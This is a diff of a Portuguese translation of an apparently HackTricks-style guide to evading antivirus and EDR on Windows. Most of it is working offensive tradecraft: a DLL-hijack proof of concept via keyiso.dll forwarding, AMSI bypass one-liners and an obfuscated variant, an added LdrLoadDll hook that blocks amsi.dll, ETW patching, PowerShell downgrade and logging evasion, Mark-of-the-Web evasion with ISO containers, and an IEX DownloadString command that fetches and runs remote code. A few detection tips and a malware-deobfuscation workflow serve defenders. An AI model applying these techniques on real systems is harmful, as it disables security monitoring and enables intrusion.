-`NCRYPTPROV.dll` não é um KnownDLL, então é resolvida pela ordem normal de pesquisa.
+`NCRYPTPROV.dll` não é uma KnownDLL, então é resolvida pela ordem de pesquisa normal.

-PoC (copiar e colar):
-1) Copie a DLL assinada do sistema para uma pasta gravável
+PoC (copy-paste):
+1) Copie a DLL de sistema assinada para uma pasta gravável
 ```
 copy C:\Windows\System32\keyiso.dll C:\test\
 ```
-2) Coloque um `NCRYPTPROV.dll` malicioso na mesma pasta. Um `DllMain` mínimo é suficiente para obter execução de código; você não precisa implementar a função encaminhada para acionar `DllMain`.
+2) Coloque um `NCRYPTPROV.dll` malicioso na mesma pasta. Um DllMain mínimo é suficiente para obter execução de código; você não precisa implementar a função encaminhada para acionar o DllMain.
 ```c
 // x64: x86_64-w64-mingw32-gcc -shared -o NCRYPTPROV.dll ncryptprov.c
 #include <windows.h>
@ -147,7 +149,7 @@ if(h!=INVALID_HANDLE_VALUE){ const char *m = "hello"; DWORD w; WriteFile(h,m,5,&
 return TRUE;
 }
 ```
-3) Acione o encaminhamento com um LOLBin assinado:
+3) Acione o forward com um LOLBin assinado:
 ```
 rundll32.exe C:\test\keyiso.dll, KeyIsoSetAuditingInterface
 ```
@ -155,10 +157,10 @@ Comportamento observado:
 - rundll32 (assinado) carrega o side-by-side `keyiso.dll` (assinado)
 - Enquanto resolve `KeyIsoSetAuditingInterface`, o loader segue o forward para `NCRYPTPROV.SetAuditingInterface`
 - Em seguida o loader carrega `NCRYPTPROV.dll` de `C:\test` e executa seu `DllMain`
- Se `SetAuditingInterface` não estiver implementada, você receberá um erro "missing API" somente depois que `DllMain` já tiver sido executado
+- Se `SetAuditingInterface` não estiver implementada, você receberá um erro "missing API" apenas depois que `DllMain` já tiver sido executado

-Hunting tips:
- Concentre-se em forwarded exports onde o módulo alvo não é um KnownDLL. KnownDLLs estão listadas em `HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs`.
+Dicas de hunting:
+- Foque em forwarded exports onde o módulo alvo não é um KnownDLL. KnownDLLs estão listados em `HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs`.
 - Você pode enumerar forwarded exports com ferramentas como:
 ```
 dumpbin /exports C:\Windows\System32\keyiso.dll
@ -167,9 +169,9 @@ dumpbin /exports C:\Windows\System32\keyiso.dll
 - Veja o inventário de forwarders do Windows 11 para procurar candidatos: https://hexacorn.com/d/apis_fwd.txt

 Detection/defense ideas:
- Monitore LOLBins (e.g., rundll32.exe) carregando DLLs assinadas de caminhos não-sistema, seguidas pelo carregamento de non-KnownDLLs com o mesmo nome base nesse diretório
- Alerta sobre cadeias de processo/módulo como: `rundll32.exe` → non-system `keyiso.dll` → `NCRYPTPROV.dll` em caminhos graváveis por usuários
- Aplique políticas de integridade de código (WDAC/AppLocker) e negue write+execute em diretórios de aplicações
+- Monitore LOLBins (e.g., rundll32.exe) carregando DLLs assinadas de caminhos não do sistema, seguidas pelo carregamento de non-KnownDLLs com o mesmo nome base desse diretório
+- Alertar sobre cadeias de processo/módulo como: `rundll32.exe` → não do sistema `keyiso.dll` → `NCRYPTPROV.dll` sob caminhos graváveis por usuários
+- Aplique políticas de integridade de código (WDAC/AppLocker) e negue write+execute em diretórios de aplicação

 ## [**Freeze**](https://github.com/optiv/Freeze)

@ -185,31 +187,31 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
 <figure><img src="../images/freeze_demo_hacktricks.gif" alt=""><figcaption></figcaption></figure>

 > [!TIP]
-> Evasão é apenas um jogo de gato e rato — o que funciona hoje pode ser detectado amanhã, então nunca confie em apenas uma ferramenta; se possível, tente encadear múltiplas técnicas de evasão.
+> Evasion é um jogo de gato e rato; o que funciona hoje pode ser detectado amanhã, então nunca confie em apenas uma ferramenta — se possível, tente encadear múltiplas técnicas de evasion.

 ## AMSI (Anti-Malware Scan Interface)

-AMSI foi criado para prevenir "[malware sem arquivo](https://en.wikipedia.org/wiki/Fileless_malware)". Inicialmente, os AVs eram capazes apenas de escanear **arquivos no disco**, então se você conseguisse de alguma forma executar payloads **diretamente na memória**, o AV não podia fazer nada para impedir, pois não tinha visibilidade suficiente.
+AMSI foi criado para prevenir "[fileless malware](https://en.wikipedia.org/wiki/Fileless_malware)". Inicialmente, AVs eram capazes apenas de escanear **arquivos no disco**, então se você conseguisse de alguma forma executar payloads **diretamente na memória**, o AV não poderia fazer nada para impedir, pois não tinha visibilidade suficiente.

-A feature AMSI está integrada nestes componentes do Windows.
+O recurso AMSI está integrado nestes componentes do Windows.

- User Account Control, ou UAC (elevação de EXE, COM, MSI ou instalação de ActiveX)
+- User Account Control, or UAC (elevação de EXE, COM, MSI, ou instalação de ActiveX)
 - PowerShell (scripts, uso interativo e avaliação dinâmica de código)
 - Windows Script Host (wscript.exe e cscript.exe)
 - JavaScript e VBScript
- Macros VBA do Office
+- macros VBA do Office

-Isso permite que soluções antivírus inspecionem o comportamento de scripts ao expor o conteúdo do script de forma não criptografada e sem ofuscação.
+Ele permite que soluções antivírus inspecionem o comportamento de scripts expondo o conteúdo dos scripts em uma forma que esteja tanto não criptografada quanto não ofuscada.

-Running `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` will produce the following alert on Windows Defender.
+Executar `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` produzirá o seguinte alerta no Windows Defender.

 <figure><img src="../images/image (1135).png" alt=""><figcaption></figcaption></figure>

-Observe como ele antepõe `amsi:` e em seguida o caminho para o executável de onde o script foi executado, neste caso, powershell.exe
+Observe como ele antepõe `amsi:` e então o caminho para o executável de onde o script foi executado, neste caso, powershell.exe

-Não gravamos nenhum arquivo no disco, mas ainda assim fomos detectados em memória por causa do AMSI.
+Não deixamos nenhum arquivo no disco, mas ainda assim fomos pegos em memória por causa do AMSI.

-Moreover, starting with **.NET 4.8**, C# code is run through AMSI as well. This even affects `Assembly.Load(byte[])` to load in-memory execution. Por isso, recomenda-se usar versões mais antigas do .NET (como 4.7.2 ou inferiores) para execução em memória se você quiser evadir o AMSI.
+Além disso, a partir do **.NET 4.8**, código C# também é executado através do AMSI. Isso até afeta `Assembly.Load(byte[])` para carregar execução em memória. É por isso que usar versões mais antigas do .NET (como 4.7.2 ou inferiores) é recomendado para execução em memória se você quiser evadir o AMSI.

 Existem algumas maneiras de contornar o AMSI:

@ -217,11 +219,11 @@ Existem algumas maneiras de contornar o AMSI:

 Como o AMSI funciona principalmente com detecções estáticas, modificar os scripts que você tenta carregar pode ser uma boa forma de evadir a detecção.

-No entanto, o AMSI tem a capacidade de desofuscar scripts mesmo que tenham múltiplas camadas, então a obfuscação pode ser uma má opção dependendo de como for feita. Isso torna a evasão menos direta. Embora, às vezes, tudo o que você precise fazer seja alterar alguns nomes de variáveis e isso seja suficiente, então depende de quanto algo foi sinalizado.
+No entanto, o AMSI tem a capacidade de desofuscar scripts mesmo que tenham múltiplas camadas, então obfuscation pode ser uma má opção dependendo de como for feita. Isso torna não tão direto evadir. Embora, às vezes, tudo que você precisa fazer é mudar um par de nomes de variáveis e estará ok, então depende do quanto algo foi sinalizado.

 - **AMSI Bypass**

-Como o AMSI é implementado carregando uma DLL no processo do powershell (também cscript.exe, wscript.exe, etc.), é possível manipulá-lo facilmente mesmo executando como um usuário sem privilégios. Devido a essa falha na implementação do AMSI, pesquisadores encontraram múltiplas maneiras de evadir a verificação do AMSI.
+Como o AMSI é implementado carregando uma DLL no processo do powershell (também cscript.exe, wscript.exe, etc.), é possível mexer nele facilmente mesmo sendo executado por um usuário sem privilégios. Devido a essa falha na implementação do AMSI, pesquisadores encontraram múltiplas formas de evadir a varredura do AMSI.

 **Forcing an Error**

@ -229,9 +231,7 @@ Forçar a inicialização do AMSI a falhar (amsiInitFailed) fará com que nenhum
 ```bash
 [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
 ```
-Tudo o que foi preciso foi uma linha de código powershell para tornar o AMSI inutilizável para o processo powershell atual.
-
-Essa linha, obviamente, foi sinalizada pelo próprio AMSI, portanto é necessária alguma modificação para poder usar esta técnica.
+Tudo o que foi preciso foi uma linha de código powershell para tornar o AMSI inutilizável para o processo powershell atual. Essa linha, é claro, foi detectada pelo próprio AMSI, então é necessário algum ajuste para usar essa técnica.

 Aqui está um AMSI bypass modificado que peguei deste [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db).
 ```bash
@ -247,78 +247,113 @@ $Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
 $Spotfix.SetValue($null,$true)
 }Catch{Throw $_}
 ```
-Tenha em mente que isso provavelmente será sinalizado quando esta postagem sair, então você não deve publicar nenhum código se sua intenção for permanecer indetectado.
+Tenha em mente que isso provavelmente será sinalizado assim que esta publicação for divulgada, portanto você não deve publicar qualquer código se seu objetivo for permanecer indetectado.

 **Memory Patching**

-This technique was initially discovered by [@RastaMouse](https://twitter.com/_RastaMouse/) and it involves finding address for the "AmsiScanBuffer" function in amsi.dll (responsible for scanning the user-supplied input) and overwriting it with instructions to return the code for E_INVALIDARG, this way, the result of the actual scan will return 0, which is interpreted as a clean result.
+Esta técnica foi inicialmente descoberta por [@RastaMouse](https://twitter.com/_RastaMouse/) e envolve encontrar o endereço da função "AmsiScanBuffer" em amsi.dll (responsável por escanear a entrada fornecida pelo usuário) e sobrescrevê‑la com instruções para retornar o código E_INVALIDARG; dessa forma, o resultado do scan real retornará 0, que é interpretado como um resultado limpo.

 > [!TIP]
-> Por favor, leia [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) para uma explicação mais detalhada.
+> Leia [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) para uma explicação mais detalhada.

-Também existem muitas outras técnicas usadas para contornar o AMSI com PowerShell; confira [**esta página**](basic-powershell-for-pentesters/index.html#amsi-bypass) e [**este repo**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) para saber mais sobre elas.
+Existem também muitas outras técnicas usadas para bypass AMSI com powershell; confira [**this page**](basic-powershell-for-pentesters/index.html#amsi-bypass) e [**this repo**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) para saber mais sobre elas.

-Esta ferramenta [**https://github.com/Flangvik/AMSI.fail**](https://github.com/Flangvik/AMSI.fail) também gera scripts para contornar o AMSI.
+### Blocking AMSI by preventing amsi.dll load (LdrLoadDll hook)
+
+AMSI is initialised only after `amsi.dll` is loaded into the current process. A robust, language‑agnostic bypass is to place a user‑mode hook on `ntdll!LdrLoadDll` that returns an error when the requested module is `amsi.dll`. As a result, AMSI never loads and no scans occur for that process.
+
+Implementation outline (x64 C/C++ pseudocode):
+```c
+#include <windows.h>
+#include <winternl.h>
+
+typedef NTSTATUS (NTAPI *pLdrLoadDll)(PWSTR, ULONG, PUNICODE_STRING, PHANDLE);
+static pLdrLoadDll realLdrLoadDll;
+
+NTSTATUS NTAPI Hook_LdrLoadDll(PWSTR path, ULONG flags, PUNICODE_STRING module, PHANDLE handle){
+if (module && module->Buffer){
+UNICODE_STRING amsi; RtlInitUnicodeString(&amsi, L"amsi.dll");
+if (RtlEqualUnicodeString(module, &amsi, TRUE)){
+// Pretend the DLL cannot be found → AMSI never initialises in this process
+return STATUS_DLL_NOT_FOUND; // 0xC0000135
+}
+}
+return realLdrLoadDll(path, flags, module, handle);
+}
+
+void InstallHook(){
+HMODULE ntdll = GetModuleHandleW(L"ntdll.dll");
+realLdrLoadDll = (pLdrLoadDll)GetProcAddress(ntdll, "LdrLoadDll");
+// Apply inline trampoline or IAT patching to redirect to Hook_LdrLoadDll
+// e.g., Microsoft Detours / MinHook / custom 14‑byte jmp thunk
+}
+```
+Notas
+- Funciona em PowerShell, WScript/CScript e custom loaders (qualquer coisa que normalmente carregaria AMSI).
+- Combine com envio de scripts via stdin (`PowerShell.exe -NoProfile -NonInteractive -Command -`) para evitar artefatos longos na linha de comando.
+- Observado em loaders executados através de LOLBins (ex.: `regsvr32` chamando `DllRegisterServer`).
+
+This tools [https://github.com/Flangvik/AMSI.fail](https://github.com/Flangvik/AMSI.fail) also generates script to bypass AMSI.

 **Remover a assinatura detectada**

-Você pode usar uma ferramenta como **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** e **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)** para remover a assinatura AMSI detectada da memória do processo atual. Essa ferramenta funciona escaneando a memória do processo atual em busca da assinatura AMSI e então sobrescrevendo-a com instruções NOP, removendo-a efetivamente da memória.
+Você pode usar uma ferramenta como **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** e **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)** para remover a assinatura AMSI detectada da memória do processo atual. Essa ferramenta funciona escaneando a memória do processo atual à procura da assinatura AMSI e então sobrescrevendo-a com instruções NOP, removendo-a efetivamente da memória.

 **Produtos AV/EDR que usam AMSI**

 Você pode encontrar uma lista de produtos AV/EDR que usam AMSI em **[https://github.com/subat0mik/whoamsi](https://github.com/subat0mik/whoamsi)**.

 **Use PowerShell versão 2**
-Se você usar PowerShell versão 2, o AMSI não será carregado, então você pode executar seus scripts sem serem escaneados pelo AMSI. Você pode fazer isso:
+Se você usar PowerShell versão 2, o AMSI não será carregado, então você pode executar seus scripts sem serem escaneados pelo AMSI. Você pode fazer isto:
 ```bash
 powershell.exe -version 2
 ```
-## PS Logging
+## Registro do PowerShell

-PowerShell logging é um recurso que permite registrar todos os comandos PowerShell executados em um sistema. Isso pode ser útil para auditoria e resolução de problemas, mas também pode ser um **problema para atacantes que querem evitar detecção**.
+O registro do PowerShell é um recurso que permite registrar todos os comandos do PowerShell executados em um sistema. Isso pode ser útil para auditoria e solução de problemas, mas também pode ser um **problema para atacantes que querem evitar a detecção**.

-Para contornar o PowerShell logging, você pode usar as seguintes técnicas:
+Para contornar o registro do PowerShell, você pode usar as seguintes técnicas:

- **Disable PowerShell Transcription and Module Logging**: você pode usar uma ferramenta como [https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs) para esse propósito.
- **Use Powershell version 2**: se você usar PowerShell version 2, AMSI não será carregado, então você pode executar seus scripts sem serem escaneados pelo AMSI. Você pode fazer isso: `powershell.exe -version 2`
- **Use an Unmanaged Powershell Session**: use [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell) para spawnar um powershell sem defesas (isso é o que `powerpick` do Cobal Strike usa).
+- **Desative PowerShell Transcription e Module Logging**: Você pode usar uma ferramenta como [https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs) para esse propósito.
+- **Use Powershell version 2**: Se você usar o PowerShell versão 2, o AMSI não será carregado, então você pode executar seus scripts sem serem escaneados pelo AMSI. Você pode fazer isso: `powershell.exe -version 2`
+- **Use uma Sessão PowerShell não gerenciada**: Use [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell) para gerar um powershell sem defesas (isso é o que `powerpick` do Cobal Strike usa).


-## Obfuscation
+## Ofuscação

 > [!TIP]
-> Várias técnicas de obfuscação dependem de encriptar dados, o que aumentará a entropia do binário e facilitará a detecção por AVs e EDRs. Tenha cuidado com isso e talvez aplique encriptação apenas em seções específicas do seu código que sejam sensíveis ou que precisem ser ocultadas.
+> Várias técnicas de ofuscação dependem de criptografar dados, o que aumenta a entropia do binário e facilita a detecção por AVs e EDRs. Tenha cuidado com isso e, talvez, aplique criptografia apenas em seções específicas do seu código que sejam sensíveis ou precisem ser ocultadas.

-### Deobfuscating ConfuserEx-Protected .NET Binaries
+### Desofuscação de binários .NET protegidos por ConfuserEx

-Ao analisar malware que usa ConfuserEx 2 (ou forks comerciais) é comum encontrar várias camadas de proteção que bloquearão decompiladores e sandboxes. O fluxo de trabalho abaixo restaura de forma confiável um IL quase original que pode depois ser decompilado para C# em ferramentas como dnSpy ou ILSpy.
+Ao analisar malware que usa ConfuserEx 2 (ou forks comerciais) é comum enfrentar várias camadas de proteção que bloquearão decompiladores e sandboxes. O fluxo de trabalho abaixo restaura de forma confiável um **IL quase-original** que pode depois ser decompilado para C# em ferramentas como dnSpy ou ILSpy.

-1.  Anti-tampering removal – ConfuserEx encripta cada *method body* e o desencripta dentro do *module* static constructor (`<Module>.cctor`). Isso também corrige o checksum do PE de forma que qualquer modificação fará o binário crashar. Use **AntiTamperKiller** para localizar as tabelas de metadata encriptadas, recuperar as chaves XOR e reescrever um assembly limpo:
+1.  Remoção do anti-tamper – ConfuserEx criptografa cada *method body* e os descriptografa dentro do construtor estático do *module* (`<Module>.cctor`). Isso também modifica o checksum do PE, então qualquer alteração fará o binário travar. Use **AntiTamperKiller** para localizar as tabelas de metadata criptografadas, recuperar as chaves XOR e reescrever um assembly limpo:
 ```bash
 # https://github.com/wwh1004/AntiTamperKiller
 python AntiTamperKiller.py Confused.exe Confused.clean.exe
 ```
 A saída contém os 6 parâmetros anti-tamper (`key0-key3`, `nameHash`, `internKey`) que podem ser úteis ao construir seu próprio unpacker.

-2.  Symbol / control-flow recovery – alimente o arquivo *clean* para **de4dot-cex** (um fork de de4dot com awareness de ConfuserEx).
+2.  Recuperação de símbolos / fluxo de controle – alimente o arquivo *clean* para o **de4dot-cex** (um fork de de4dot compatível com ConfuserEx).
 ```bash
 de4dot-cex -p crx Confused.clean.exe -o Confused.de4dot.exe
 ```
 Flags:
-• `-p crx` – seleciona o profile ConfuserEx 2  
-• de4dot desfará o control-flow flattening, restaurará namespaces, classes e nomes de variáveis originais e desencriptará strings constantes.
+• `-p crx` – seleciona o perfil ConfuserEx 2  
+• o de4dot desfará o control-flow flattening, restaurará namespaces originais, classes e nomes de variáveis e descriptografará strings constantes.

-3.  Proxy-call stripping – ConfuserEx substitui chamadas diretas de métodos por wrappers leves (a.k.a *proxy calls*) para dificultar ainda mais a decompilação. Remova-os com **ProxyCall-Remover**:
+3.  Remoção de proxy-call – ConfuserEx substitui chamadas de método diretas por wrappers leves (também conhecidos como *proxy calls*) para dificultar ainda mais a decompilação. Remova-os com **ProxyCall-Remover**:
 ```bash
 ProxyCall-Remover.exe Confused.de4dot.exe Confused.fixed.exe
 ```
-Após esse passo você deve observar APIs .NET normais como `Convert.FromBase64String` ou `AES.Create()` em vez de funções wrapper opacas (`Class8.smethod_10`, …).
+Após esta etapa você deve observar APIs .NET normais como `Convert.FromBase64String` ou `AES.Create()` em vez de funções wrapper opacas (`Class8.smethod_10`, …).

-4.  Manual clean-up – execute o binário resultante no dnSpy, procure por grandes blobs Base64 ou uso de `RijndaelManaged`/`TripleDESCryptoServiceProvider` para localizar o payload *real*. Frequentemente o malware o armazena como um array de bytes codificado TLV inicializado dentro de `<Module>.byte_0`.
+4.  Limpeza manual – execute o binário resultante no dnSpy, procure por grandes blobs Base64 ou pelo uso de `RijndaelManaged`/`TripleDESCryptoServiceProvider` para localizar o payload *real*. Frequentemente o malware o armazena como um array de bytes codificado em TLV inicializado dentro de `<Module>.byte_0`.

-A cadeia acima restaura o fluxo de execução **sem** precisar executar a amostra maliciosa – útil quando se trabalha em uma estação offline.
+A cadeia acima restaura o fluxo de execução **sem** a necessidade de executar a amostra maliciosa – útil ao trabalhar em uma estação offline.

-> 🛈  ConfuserEx produces a custom attribute named `ConfusedByAttribute` that can be used as an IOC to automatically triage samples.
+> 🛈  O ConfuserEx produz um atributo customizado chamado `ConfusedByAttribute` que pode ser usado como um IOC para triagem automática de amostras.

 #### One-liner
 ```bash
@ -326,40 +361,40 @@ autotok.sh Confused.exe  # wrapper that performs the 3 steps above sequentially
 ```
 ---

- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: ofuscador C#**
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): O objetivo deste projeto é fornecer um fork de código aberto da [LLVM] compilation suite capaz de aumentar a segurança do software através de [code obfuscation] e proteção contra adulteração.
+- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: Ofuscador C#**
+- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): O objetivo deste projeto é fornecer um fork open-source da suíte de compilação [LLVM](http://www.llvm.org/) capaz de aumentar a segurança do software através da ofuscação de código e proteção contra adulteração.
 - [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator demonstra como usar a linguagem `C++11/14` para gerar, em tempo de compilação, código ofuscado sem usar qualquer ferramenta externa e sem modificar o compilador.
- [**obfy**](https://github.com/fritzone/obfy): Adiciona uma camada de operações ofuscadas geradas pelo framework de metaprogramação de templates do C++, o que tornará a vida de quem tenta quebrar a aplicação um pouco mais difícil.
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz é um ofuscador binário x64 capaz de ofuscar vários tipos diferentes de arquivos PE, incluindo: .exe, .dll, .sys
- [**metame**](https://github.com/a0rtega/metame): Metame é um motor simples de código metamórfico para executáveis arbitrários.
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator é um framework de ofuscação de código de granularidade fina para linguagens suportadas pelo LLVM que utiliza ROP (return-oriented programming). ROPfuscator ofusca um programa no nível de código assembly transformando instruções regulares em cadeias ROP, frustrando nossa concepção natural de fluxo de controle normal.
- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt é um Crypter de PE .NET escrito em Nim
+- [**obfy**](https://github.com/fritzone/obfy): Adiciona uma camada de operações ofuscadas geradas pelo framework de metaprogramação de templates do C++, o que tornará a vida de quem quiser quebrar a aplicação um pouco mais difícil.
+- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz é um ofuscador de binários x64 capaz de ofuscar vários arquivos PE diferentes incluindo: .exe, .dll, .sys
+- [**metame**](https://github.com/a0rtega/metame): Metame é um motor de código metamórfico simples para executáveis arbitrários.
+- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator é um framework de ofuscação de código de grão fino para linguagens suportadas pelo LLVM usando ROP (return-oriented programming). ROPfuscator ofusca um programa ao nível de código assembly transformando instruções regulares em cadeias ROP, frustrando nossa concepção natural de fluxo de controle normal.
+- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt é um .NET PE Crypter escrito em Nim
 - [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor é capaz de converter EXE/DLL existentes em shellcode e então carregá-los

 ## SmartScreen & MoTW

-Você pode ter visto esta tela ao baixar alguns executáveis da internet e executá-los.
+Você pode ter visto essa tela ao baixar alguns executáveis da internet e executá‑los.

 Microsoft Defender SmartScreen é um mecanismo de segurança destinado a proteger o usuário final contra a execução de aplicações potencialmente maliciosas.

 <figure><img src="../images/image (664).png" alt=""><figcaption></figcaption></figure>

-SmartScreen funciona principalmente com uma abordagem baseada em reputação, o que significa que aplicações pouco baixadas acionarão o SmartScreen, alertando e impedindo o usuário final de executar o arquivo (embora o arquivo ainda possa ser executado clicando em More Info -> Run anyway).
+SmartScreen funciona principalmente com uma abordagem baseada em reputação, o que significa que aplicações raramente baixadas irão acionar o SmartScreen, alertando e impedindo o usuário final de executar o arquivo (embora o arquivo ainda possa ser executado clicando More Info -> Run anyway).

-**MoTW** (Mark of The Web) é um [NTFS Alternate Data Stream](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>) com o nome Zone.Identifier, que é criado automaticamente ao baixar arquivos da internet, juntamente com a URL de onde foi baixado.
+**MoTW** (Mark of The Web) é um [NTFS Alternate Data Stream](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>) com o nome Zone.Identifier que é criado automaticamente ao baixar arquivos da internet, juntamente com a URL de onde foi baixado.

 <figure><img src="../images/image (237).png" alt=""><figcaption><p>Verificando o ADS Zone.Identifier para um arquivo baixado da internet.</p></figcaption></figure>

 > [!TIP]
-> É importante notar que executáveis assinados com um certificado de assinatura **confiável** **não acionarão o SmartScreen**.
+> É importante notar que executáveis assinados com um certificado de assinatura confiável não acionarão o SmartScreen.

-Uma maneira muito eficaz de evitar que seus payloads recebam o Mark of The Web é embalá‑los dentro de algum tipo de container, como um ISO. Isso acontece porque Mark-of-the-Web (MOTW) **não pode** ser aplicado a volumes **non NTFS**.
+Uma maneira muito eficaz de evitar que seus payloads recebam o Mark of The Web é empacotá‑los dentro de algum tipo de contêiner, como um ISO. Isso acontece porque o Mark-of-the-Web (MOTW) **não** pode ser aplicado a volumes não NTFS.

 <figure><img src="../images/image (640).png" alt=""><figcaption></figcaption></figure>

-[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) é uma ferramenta que empacota payloads em containers de saída para evitar o Mark-of-the-Web.
+[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) é uma ferramenta que empacota payloads em contêineres de saída para evadir o Mark-of-the-Web.

-Example usage:
+Exemplo de uso:
 ```bash
 PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso

@ -381,140 +416,140 @@ Adding file: /TotallyLegitApp.exe

 [+] Generated file written to (size: 3420160): container.iso
 ```
-Here is a demo for bypassing SmartScreen by packaging payloads inside ISO files using [PackMyPayload](https://github.com/mgeeky/PackMyPayload/)
+Aqui está uma demonstração para contornar o SmartScreen empacotando payloads dentro de arquivos ISO usando [PackMyPayload](https://github.com/mgeeky/PackMyPayload/)

 <figure><img src="../images/packmypayload_demo.gif" alt=""><figcaption></figcaption></figure>

 ## ETW

-Event Tracing for Windows (ETW) é um poderoso mecanismo de logging no Windows que permite que aplicações e componentes do sistema **registrem eventos**. No entanto, ele também pode ser usado por produtos de segurança para monitorar e detectar atividades maliciosas.
+Event Tracing for Windows (ETW) é um poderoso mecanismo de registro no Windows que permite que aplicações e componentes do sistema **registrem eventos**. Contudo, também pode ser usado por produtos de segurança para monitorar e detectar atividades maliciosas.

-Similar to how AMSI is disabled (bypassed) it's also possible to make the **`EtwEventWrite`** function of the user space process return immediately without logging any events. This is done by patching the function in memory to return immediately, effectively disabling ETW logging for that process.
+De forma semelhante a como o AMSI é desativado (bypassed), também é possível fazer com que a função **`EtwEventWrite`** do processo em espaço de usuário retorne imediatamente sem registrar qualquer evento. Isso é feito patchando a função na memória para retornar imediatamente, desabilitando efetivamente o logging do ETW para esse processo.

-You can find more info in **[https://blog.xpnsec.com/hiding-your-dotnet-etw/](https://blog.xpnsec.com/hiding-your-dotnet-etw/) and [https://github.com/repnz/etw-providers-docs/](https://github.com/repnz/etw-providers-docs/)**.
+Você pode encontrar mais informações em **[https://blog.xpnsec.com/hiding-your-dotnet-etw/](https://blog.xpnsec.com/hiding-your-dotnet-etw/) and [https://github.com/repnz/etw-providers-docs/](https://github.com/repnz/etw-providers-docs/)**.


 ## C# Assembly Reflection

-Loading C# binaries in memory has been known for quite some time and it's still a very great way for running your post-exploitation tools without getting caught by AV.
+Carregar binários C# em memória é conhecido há bastante tempo e continua sendo uma excelente forma de executar suas ferramentas de pós-exploração sem ser detectado pelo AV.

-Since the payload will get loaded directly into memory without touching disk, we will only have to worry about patching AMSI for the whole process.
+Como o payload será carregado diretamente na memória sem tocar o disco, só teremos que nos preocupar em patchar o AMSI para todo o processo.

-Most C2 frameworks (sliver, Covenant, metasploit, CobaltStrike, Havoc, etc.) already provide the ability to execute C# assemblies directly in memory, but there are different ways of doing so:
+A maioria dos frameworks C2 (sliver, Covenant, metasploit, CobaltStrike, Havoc, etc.) já oferece a capacidade de executar assemblies C# diretamente em memória, mas há diferentes formas de fazer isso:

 - **Fork\&Run**

-It involves **spawning a new sacrificial process**, inject your post-exploitation malicious code into that new process, execute your malicious code and when finished, kill the new process. This has both its benefits and its drawbacks. The benefit to the fork and run method is that execution occurs **outside** our Beacon implant process. This means that if something in our post-exploitation action goes wrong or gets caught, there is a **much greater chance** of our **implant surviving.** The drawback is that you have a **greater chance** of getting caught by **Behavioural Detections**.
+Envolve **criar um novo processo sacrificial**, injetar seu código malicioso de pós-exploração nesse novo processo, executar o código malicioso e, quando terminar, matar o novo processo. Isso tem benefícios e desvantagens. O benefício do método fork and run é que a execução ocorre **fora** do nosso Beacon implant process. Isso significa que, se algo na nossa ação de pós-exploração der errado ou for detectado, há uma **chance muito maior** do nosso **implant sobreviver.** A desvantagem é que há uma **maior probabilidade** de ser pego por **Behavioural Detections**.

 <figure><img src="../images/image (215).png" alt=""><figcaption></figcaption></figure>

 - **Inline**

-It's about injecting the post-exploitation malicious code **into its own process**. This way, you can avoid having to create a new process and getting it scanned by AV, but the drawback is that if something goes wrong with the execution of your payload, there's a **much greater chance** of **losing your beacon** as it could crash.
+Trata-se de injetar o código malicioso de pós-exploração **no próprio processo**. Dessa forma, você evita ter que criar um novo processo e ser escaneado pelo AV, mas a desvantagem é que, se algo der errado na execução do payload, há uma **chance muito maior** de **perder seu beacon**, pois ele pode travar.

 <figure><img src="../images/image (1136).png" alt=""><figcaption></figcaption></figure>

 > [!TIP]
-> If you want to read more about C# Assembly loading, please check out this article [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) and their InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
